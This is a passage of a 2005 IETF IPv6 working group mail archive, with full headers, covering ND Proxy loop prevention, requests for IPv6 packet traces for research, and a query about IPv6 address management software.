------=_NextPart_000_006F_01C5143C.4192F330-- --===============0891538765== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============0891538765==-- From ipv6-bounces@ietf.org Thu Feb 17 03:26:58 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA23104 for ; Thu, 17 Feb 2005 03:26:58 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1hLP-0003c1-88 for ipv6-web-archive@ietf.org; Thu, 17 Feb 2005 03:49:07 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1gx8-0002jB-3N; Thu, 17 Feb 2005 03:24:02 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1crn-0000ev-B7 for ipv6@megatron.ietf.org; Wed, 16 Feb 2005 23:02:15 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA07495 for ; Wed, 16 Feb 2005 23:02:12 -0500 (EST) Received: from brmea-mail-4.sun.com ([192.18.98.36]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1dD9-0005YE-Po for ipv6@ietf.org; Wed, 16 Feb 2005 23:24:21 -0500 Received: from eastmail1bur.East.Sun.COM ([129.148.9.49]) by brmea-mail-4.sun.com (8.12.10/8.12.9) with ESMTP id j1H42BnK018760; Wed, 16 Feb 2005 21:02:12 -0700 (MST) Received: from 129.148.19.3 (punchin-sommerfeld.East.Sun.COM [129.148.19.3]) by eastmail1bur.East.Sun.COM (8.12.10+Sun/8.12.10/ENSMAIL,v2.2) with ESMTP id j1H42BQp001338; Wed, 16 Feb 2005 23:02:11 -0500 (EST) From: Bill Sommerfeld To: Pekka Savola In-Reply-To: References: <2E33960095B58E40A4D3345AB9F65EC1102A6B42@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Content-Type: text/plain Message-Id: <1108612876.51832.487.camel@unknown.hamachi.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6.325 Date: Wed, 16 Feb 2005 23:01:17 -0500 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: cf4fa59384e76e63313391b70cd0dd25 Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Thu, 17 Feb 2005 03:23:45 -0500 Cc: ipv6@ietf.org, Dave Thaler Subject: RE: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab Content-Transfer-Encoding: 7bit On Wed, 2005-02-16 at 14:57, Pekka Savola wrote: > > For example, in a > > cell phone which proxies between a PPP dialup link and a local Ethernet > > interface, it is typically safe to assume that physical loops are not > > possible and hence there is no need to support the Spanning Tree > > Protocol (STP). all well and good until someone strings together four such phones and two ethernet hubs just to prove a point.. - Bill -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 17 15:19:41 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA00349 for ; Thu, 17 Feb 2005 15:19:41 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1sTF-0006J7-2X for ipv6-web-archive@ietf.org; Thu, 17 Feb 2005 15:41:57 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1qYP-0005yI-PQ; Thu, 17 Feb 2005 13:39:09 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1nTw-0006m8-Pi for ipv6@megatron.ietf.org; Thu, 17 Feb 2005 10:22:21 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05362 for ; Thu, 17 Feb 2005 10:22:18 -0500 (EST) Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1npO-0006Fv-Qg for ipv6@ietf.org; Thu, 17 Feb 2005 10:44:32 -0500 Received: from S018431 ([151.203.251.157]) by out003.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050217152211.BVQT18160.out003.verizon.net@S018431>; Thu, 17 Feb 2005 09:22:11 -0600 From: "timothy enos" To: "'Nuno Garcia'" , "'IPv6 WG'" Date: Thu, 17 Feb 2005 10:21:38 -0500 Message-ID: <000201c51504$668fcdc0$bcf0fea9@S018431> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 In-Reply-To: <852246F66844CC41A5FE1EF659F98F900244BE67@lisi053a.siemens.pt> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [151.203.251.157] at Thu, 17 Feb 2005 09:22:06 -0600 X-Spam-Score: 1.3 (+) X-Scan-Signature: a743e34ab8eb08259de9a7307caed594 Subject: RE: IPv6 Traces X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0188371489==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 1.4 (+) X-Scan-Signature: 7698d1420ecbbce1995432e99bb6d1a1 This is a multi-part message in MIME format. --===============0188371489== Content-Type: multipart/alternative; boundary="----=_NextPart_000_0003_01C514DA.7DC362B0" This is a multi-part message in MIME format. ------=_NextPart_000_0003_01C514DA.7DC362B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Some commercially available traffic generator/analyzers have a built-in packet =91sniffer=92 (can be of limited capture capacity). Aside from = the already mentioned Ethereal, there is one other that I have used with success. Not sure if mentioning brand names on this list is appropriate (I=92d appreciate clarification); can provide vendor names off-line if required. =20 -----Original Message----- From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On Behalf Of Nuno Garcia Sent: Wednesday, February 16, 2005 12:37 PM To: IPv6 WG Subject: IPv6 Traces =20 Hello All:=20 Does anyone knows where I can find IPV6 traffic traces? (if there is such thing)=20 My goal is to study the headers of real IPv6 packets.=20 Thanks,=20 Nuno Garcia PhD Student=20 COM RD1 RSC SIEMENS S.A. Rua Irm=E3os Siemens, 1 Ed. 1, Piso 0 Alfragide 2720-093 Amadora Portugal Phone: +351-21 416 7159 Fax: +351-21 424 2082 e-mail: Nuno.MGarcia@siemens.com=20 ------=_NextPart_000_0003_01C514DA.7DC362B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable IPv6 Traces

Some commercially available traffic generator/analyzers have a built-in = packet ‘sniffer’ (can be of limited capture capacity). Aside from = the already mentioned Ethereal, there is one other that I have used with = success. Not sure if mentioning brand names on this list is appropriate = (I’d appreciate clarification); can provide vendor names off-line if = required.

 

-----Original = Message-----
From: = ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On = Behalf Of Nuno Garcia
Sent: Wednesday, February = 16, 2005 12:37 PM
To: IPv6 WG
Subject: IPv6 = Traces

 

Hello All:

Does anyone knows where I can find IPV6 = traffic traces? (if there is such thing)

My goal is to study the headers of real IPv6 = packets.

Thanks,

Nuno = Garcia
PhD Student 
COM RD1 RSC

SIEMENS = S.A.
Rua Irm=E3os Siemens, 1
Ed. 1, Piso 0
Alfragide
2720-093 Amadora
Portugal<= /font>

Phone: +351-21 416 7159
Fax: +351-21 424 2082
e-mail: Nuno.MGarcia@siemens.com

------=_NextPart_000_0003_01C514DA.7DC362B0-- --===============0188371489== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============0188371489==-- From ipv6-bounces@ietf.org Thu Feb 17 15:43:40 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA03302 for ; Thu, 17 Feb 2005 15:43:39 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1sqR-0007EW-NW for ipv6-web-archive@ietf.org; Thu, 17 Feb 2005 16:05:56 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1qkv-0005ps-No; Thu, 17 Feb 2005 13:52:05 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1oTY-0001z3-Ti for ipv6@megatron.ietf.org; Thu, 17 Feb 2005 11:26:00 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16073 for ; Thu, 17 Feb 2005 11:25:58 -0500 (EST) Received: from relay-pt1.siemens.pt ([194.145.62.201] helo=relay1.siemens.pt) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1op0-00016x-FZ for ipv6@ietf.org; Thu, 17 Feb 2005 11:48:12 -0500 Received: from fw-mta1.siemens.pt (fw-mta1.siemens.pt [141.29.156.201]) by relay1.siemens.pt (8.12.8/linuxconf) with ESMTP id j1HGDG8s008043; Thu, 17 Feb 2005 16:13:16 GMT Received: from lisi053a.siemens.pt (lisi053a.siemens.pt [141.29.156.193]) by fw-mta1.siemens.pt (Hvm) with ESMTP id j1HGPbH11687; Thu, 17 Feb 2005 16:25:37 GMT X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Date: Thu, 17 Feb 2005 16:25:13 -0000 Message-ID: <852246F66844CC41A5FE1EF659F98F900247DF43@lisi053a.siemens.pt> Thread-Topic: IPv6 Traces Thread-Index: AcUVBHc6tt24qRtnRVWjGVBdyAk/tAAAHqTw From: "Nuno Garcia" To: "timothy enos" , "IPv6 WG" X-Spam-Score: 1.4 (+) X-Scan-Signature: bfe538a859d88717fa3c8a6377d62f90 Subject: RE: IPv6 Traces X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1445008369==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 1.4 (+) X-Scan-Signature: 96d3a783a4707f1ab458eb15058bb2d7 This is a multi-part message in MIME format. --===============1445008369== content-class: urn:content-classes:message Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C5150D.41A503BE" This is a multi-part message in MIME format. ------_=_NextPart_001_01C5150D.41A503BE Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi All again: =20 I'm not interested in sniffing any particular existing (or future) IPv6 = traffic.=20 =20 What I'm really after is records of some IPv6 communication between = several machines. It should be enough to have the headers of the packets = (I dont need the payoad) - of course, the more machines involved and the = more lengthy the communication is, the better. =20 For instance, IPv4 traces can be found at http://pma.nlanr.net (and, I = guess, in other places as well). =20 Thanks for your feedback, =20 Nuno Garcia -----Original Message----- From: timothy enos [mailto:timbeck04@verizon.net]=20 Sent: quinta-feira, 17 de Fevereiro de 2005 15:22 To: Nuno Garcia; 'IPv6 WG' Subject: RE: IPv6 Traces Some commercially available traffic generator/analyzers have a built-in = packet 'sniffer' (can be of limited capture capacity). Aside from the = already mentioned Ethereal, there is one other that I have used with = success. Not sure if mentioning brand names on this list is appropriate = (I'd appreciate clarification); can provide vendor names off-line if = required. =20 -----Original Message----- From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On Behalf Of = Nuno Garcia Sent: Wednesday, February 16, 2005 12:37 PM To: IPv6 WG Subject: IPv6 Traces =20 Hello All:=20 Does anyone knows where I can find IPV6 traffic traces? (if there is = such thing)=20 My goal is to study the headers of real IPv6 packets.=20 Thanks,=20 Nuno Garcia PhD Student=20 COM RD1 RSC SIEMENS S.A. Rua Irm=E3os Siemens, 1 Ed. 1, Piso 0 Alfragide 2720-093 Amadora Portugal Phone: +351-21 416 7159 Fax: +351-21 424 2082 e-mail: Nuno.MGarcia@siemens.com=20 ------_=_NextPart_001_01C5150D.41A503BE Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message
Hi All=20 again:
 
I'm=20 not interested in sniffing any particular existing (or future) IPv6 = traffic.=20
 
What I'm really after is records = of some IPv6=20 communication between several machines. It should be enough to have = the=20 headers of the packets (I dont need the payoad) - of course, the more = machines=20 involved and the more lengthy the communication is, the=20 better.
 
For=20 instance, IPv4 traces can be found at http://pma.nlanr.net (and, I = guess, in=20 other places as well).
 
Thanks=20 for your feedback,
 
Nuno=20 Garcia
-----Original Message-----
From: = timothy enos=20 [mailto:timbeck04@verizon.net]
Sent: quinta-feira, 17 de = Fevereiro=20 de 2005 15:22
To: Nuno Garcia; 'IPv6 WG'
Subject: = RE: IPv6=20 Traces

Some=20 commercially available traffic generator/analyzers have a built-in = packet=20 ‘sniffer’ (can be of limited capture capacity). Aside from = the already=20 mentioned Ethereal, there is one other that I have used with success. = Not sure=20 if mentioning brand names on this list is appropriate (I’d = appreciate=20 clarification); can provide vendor names off-line if=20 required.

 

-----Original=20 Message-----
From:=20 ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On Behalf Of Nuno = Garcia
Sent: Wednesday, February 16, = 2005 12:37=20 PM
To: IPv6 = WG
Subject: IPv6 = Traces

 

Hello All: =

Does anyone knows where = I can find=20 IPV6 traffic traces? (if there is such thing)

My goal is to study the = headers of=20 real IPv6 packets.

Thanks, =

Nuno=20 Garcia
PhD = Student 
COM=20 RD1 RSC

SIEMENS=20 S.A.
Rua = Irm=E3os Siemens,=20 1
Ed. 1, Piso 0
Alfragide
2720-093 = Amadora
Portugal

Phone: = +351-21 416=20 7159
Fax: +351-21 424 2082
e-mail: Nuno.MGarcia@siemens.com=20

------_=_NextPart_001_01C5150D.41A503BE-- --===============1445008369== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============1445008369==-- From ipv6-bounces@ietf.org Thu Feb 17 17:18:29 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA15569 for ; Thu, 17 Feb 2005 17:18:29 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1uKE-0002KM-Rs for ipv6-web-archive@ietf.org; Thu, 17 Feb 2005 17:40:47 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1thE-0004ss-MK; Thu, 17 Feb 2005 17:00:28 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1s7k-0004U0-7e for ipv6@megatron.ietf.org; Thu, 17 Feb 2005 15:19:44 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA00373 for ; Thu, 17 Feb 2005 15:19:42 -0500 (EST) Received: from stl-smtpout-01.boeing.com ([130.76.96.56]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1sTF-0006IR-7y for ipv6@ietf.org; Thu, 17 Feb 2005 15:41:58 -0500 Received: from blv-av-01.boeing.com ([192.42.227.216]) by stl-smtpout-01.boeing.com (8.9.2.MG.10092003/8.8.5-M2) with ESMTP id OAA09938 for ; Thu, 17 Feb 2005 14:19:09 -0600 (CST) Received: from xch-swbh-11.sw.nos.boeing.com (localhost [127.0.0.1]) by blv-av-01.boeing.com (8.11.3/8.11.3/MBS-AV-LDAP-01) with ESMTP id j1HKJ8I04133 for ; Thu, 17 Feb 2005 12:19:08 -0800 (PST) Received: from XCH-SW-1V1.sw.nos.boeing.com ([129.172.87.177]) by xch-swbh-11.sw.nos.boeing.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 17 Feb 2005 12:19:08 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Thu, 17 Feb 2005 12:19:07 -0800 Message-ID: <34919D5FCCAB494F97265DA64D1D70308367A3@XCH-SW-1V1.sw.nos.boeing.com> Thread-Topic: IPv6 Address Management Thread-Index: AcUVI7WQ+G1uZBT7TGSHH2ZFLlys/QACdacw From: "Rahim, Shaffiq S" To: X-OriginalArrivalTime: 17 Feb 2005 20:19:08.0483 (UTC) FILETIME=[EF717930:01C5152D] X-Spam-Score: 0.0 (/) X-Scan-Signature: cf4fa59384e76e63313391b70cd0dd25 Content-Transfer-Encoding: quoted-printable Subject: IPv6 Address Management X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab Content-Transfer-Encoding: quoted-printable I am currently setting up an IPv6 test infrastructure. However, I am running into the issue of finding a good tool to manage IPv6 Address Allocation. I have found the Lucent QIP product; however, it is quite high in pricing. Does anyone know about any other software available to manage IPv6 address allocation? Thanks, Shaffiq S. Rahim Systems/Software Engineer The Boeing Company Phantom Works - IDeAS NCO Programs & Technologies (714) 762-3722 - Desk (714) 315-5494 - Cell shaffiq.s.rahim@boeing.com -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 17 17:30:03 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA17432 for ; Thu, 17 Feb 2005 17:30:03 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1uVP-0002lQ-NF for ipv6-web-archive@ietf.org; Thu, 17 Feb 2005 17:52:20 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1tig-0006L1-1c; Thu, 17 Feb 2005 17:01:58 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1sZw-0002vn-HW for ipv6@megatron.ietf.org; Thu, 17 Feb 2005 15:48:52 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA03782 for ; Thu, 17 Feb 2005 15:48:51 -0500 (EST) Received: from smtpproxy2.mitre.org ([192.160.51.65] helo=smtp-bedford-dr.mitre.org) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1svQ-0007N2-8M for ipv6@ietf.org; Thu, 17 Feb 2005 16:11:07 -0500 Received: from smtp-bedford-dr.mitre.org (localhost.localdomain [127.0.0.1]) by smtp-bedford-dr.mitre.org (8.11.6/8.11.6) with SMTP id j1HKmm422932 for ; Thu, 17 Feb 2005 15:48:48 -0500 Received: from smtp-bedford-dr.mitre.org (localhost.localdomain [127.0.0.1]) by smtp-bedford-dr.mitre.org (Postfix) with ESMTP id 869A84F8D8 for ; Thu, 17 Feb 2005 15:48:48 -0500 (EST) Received: from MAILHUB1 (mailhub1.mitre.org [129.83.20.31]) by smtp-bedford-dr.mitre.org (8.11.6/8.11.6) with ESMTP id j1HKmmm22857; Thu, 17 Feb 2005 15:48:48 -0500 Received: from mm115878-pc.mitre.org (128.29.24.5) by mailhub1.mitre.org with SMTP id 13310059; Thu, 17 Feb 2005 15:48:44 -0500 Message-ID: <4215032E.80908@mitre.org> Date: Thu, 17 Feb 2005 15:48:46 -0500 From: Chongeun Lee User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Nuno Garcia References: <852246F66844CC41A5FE1EF659F98F900247DF43@lisi053a.siemens.pt> In-Reply-To: <852246F66844CC41A5FE1EF659F98F900247DF43@lisi053a.siemens.pt> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by smtp-bedford-dr.mitre.org id j1HKmm422932 X-Spam-Score: 1.1 (+) X-Scan-Signature: cd26b070c2577ac175cd3a6d878c6248 Content-Transfer-Encoding: quoted-printable Cc: IPv6 WG Subject: Re: IPv6 Traces X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 1.1 (+) X-Scan-Signature: 3002fc2e661cd7f114cb6bae92fe88f1 Content-Transfer-Encoding: quoted-printable Nuno, We have some captured IPv6 traffic (http, ftp, ssh, smtp and imap) and=20 tunneled traffic (IPv6 over IPv4) in Network General Sniffer. Please contact me privately about which ones you need. Chongeun Nuno Garcia wrote: > Hi All again: > I'm not interested in sniffing any particular existing (or future)=20 > IPv6 traffic. > What I'm really after is records of some IPv6 communication between=20 > several machines. It should be enough to have the headers of the=20 > packets (I dont need the payoad) - of course, the more machines=20 > involved and the more lengthy the communication is, the better. > For instance, IPv4 traces can be found at http://pma.nlanr.net (and, I=20 > guess, in other places as well). > Thanks for your feedback, > Nuno Garcia > > -----Original Message----- > *From:* timothy enos [mailto:timbeck04@verizon.net] > *Sent:* quinta-feira, 17 de Fevereiro de 2005 15:22 > *To:* Nuno Garcia; 'IPv6 WG' > *Subject:* RE: IPv6 Traces > > Some commercially available traffic generator/analyzers have a > built-in packet =91sniffer=92 (can be of limited capture capacity). > Aside from the already mentioned Ethereal, there is one other that > I have used with success. Not sure if mentioning brand names on > this list is appropriate (I=92d appreciate clarification); can > provide vendor names off-line if required. > > -----Original Message----- > *From:* ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] *On > Behalf Of *Nuno Garcia > *Sent:* Wednesday, February 16, 2005 12:37 PM > *To:* IPv6 WG > *Subject:* IPv6 Traces > > Hello All: > > Does anyone knows where I can find IPV6 traffic traces? (if there > is such thing) > > My goal is to study the headers of real IPv6 packets. > > Thanks, > > *Nuno Garcia > *PhD Student > COM RD1 RSC > * > **SIEMENS S.A.* > Rua Irm=E3os Siemens, 1 > Ed. 1, Piso 0 > Alfragide > 2720-093 Amadora > Portugal > > Phone: +351-21 416 7159 > Fax: +351-21 424 2082 > e-mail: Nuno.MGarcia@siemens.com > >------------------------------------------------------------------------ > >-------------------------------------------------------------------- >IETF IPv6 working group mailing list >ipv6@ietf.org >Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 >-------------------------------------------------------------------- > =20 > -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 17 21:05:03 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA10729 for ; Thu, 17 Feb 2005 21:05:03 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1xrW-0000ZB-5k for ipv6-web-archive@ietf.org; Thu, 17 Feb 2005 21:27:22 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1xQz-00082q-Qe; Thu, 17 Feb 2005 20:59:57 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1xIH-0004UL-JX for ipv6@megatron.ietf.org; Thu, 17 Feb 2005 20:50:57 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA09264 for ; Thu, 17 Feb 2005 20:50:56 -0500 (EST) Received: from [204.9.221.21] (helo=thingmagic.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1xdq-0000CK-Sn for ipv6@ietf.org; Thu, 17 Feb 2005 21:13:15 -0500 Received: from [24.61.30.237] (account margaret HELO [192.168.1.186]) by thingmagic.com (CommuniGate Pro SMTP 4.1.8) with ESMTP-TLS id 289396; Thu, 17 Feb 2005 20:48:49 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <2E33960095B58E40A4D3345AB9F65EC1102A6B42@win-msg-01.wingroup.windeploy.nt dev.microsoft.com> References: <2E33960095B58E40A4D3345AB9F65EC1102A6B42@win-msg-01.wingroup.windeploy.nt dev.microsoft.com> Date: Thu, 17 Feb 2005 20:45:55 -0500 To: "Dave Thaler" From: Margaret Wasserman Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Spam-Score: 0.1 (/) X-Scan-Signature: f4c2cf0bccc868e4cc88dace71fb3f44 Cc: ipv6@ietf.org Subject: RE: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: 244a2fd369eaf00ce6820a760a3de2e8 Hi Dave, >Point taken. How about: >A proxy MUST ensure that loops are prevented, either by running >the Spanning Tree Algorithm and Protocol defined in [BRIDGE] on all >proxy interfaces as described below, or by being deployable only in >an environment where physical loops cannot occur. For example, in a >cell phone which proxies between a PPP dialup link and a local Ethernet >interface, it is typically safe to assume that physical loops are not >possible and hence there is no need to support the Spanning Tree >Protocol (STP). This suggestion appears to be operational advice (about what features be enabled in given situations, not what should be supported by implementations), and implementations can't really know that that they will always be deployed in situations where loops are impossible... So, you would do better to say something like "all implementations MUST support loop prevention. A configuration option to disable loop prevention MAY be supported, but all implementations MUST have loop prevention enabled by default". You could certainly avoid loops in ND Proxy by using STP, although I think you would have to say a lot more about how it would be applied... A reference to the rbridges work might be premature. Ultimately, though, I am not sure why we would want to add this complexity to ND Proxy as I don't view it as a sound, scalable mechanism for link aggregation. It is quite similar to the Proxy ARP mechanisms supported in some IPv4 implementations, and it seems likely to have the same problems. My understanding of the current ND Proxy work (and why I grudgingly agreed to leave it on the most recent IPv6 charter despite the fact that we had not managed to reach consensus on this proposal for several years) was that we were planning to trim down the original ND Proxy proposal to a one-hop prefix delegation mechanism (perhaps with a flag to indicate whether the prefix has already been delegated, in which case it mustn't be delegated again) to provide a non-DHCP alternative for one-hop prefix delegation. I've never been quite sure why a non-DHCP mechanism is needed, but I'm also not religiously against the idea of standardizing an alternative. From my perspective, though, the ND Proxy spec doesn't seem to have been trimmed down into a simple prefix delegation mechanism at all. And, now we are talking about complicating it even further with a complex loop prevention scheme (or two). Is there any reason to believe that we can reach consensus on this more complex version of ND Proxy given that we haven't managed to achieve consensus on the basic concept in the past ~5 years? Margaret -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 17 21:35:32 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA13439 for ; Thu, 17 Feb 2005 21:35:32 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1yL0-0001I1-Jm for ipv6-web-archive@ietf.org; 